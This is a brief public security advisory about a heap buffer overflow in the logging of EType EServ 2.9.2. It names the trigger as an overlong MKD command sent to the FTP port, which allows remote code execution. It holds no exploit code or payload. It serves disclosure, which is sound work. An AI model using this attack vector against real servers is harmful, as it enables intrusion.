Etype Eserv 2.9.2 Logging Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/1315/info

EType EServ is a combination mail, news, HTTP, FTP, and proxy server.

The logging mechanism in EType EServ is vulnerable to a heap buffer overflow that could allow remote attackers to execute arbitrary code on the server. The overflow occurs when a MKD command with an unusually long argument is sent to the FTP Server port.
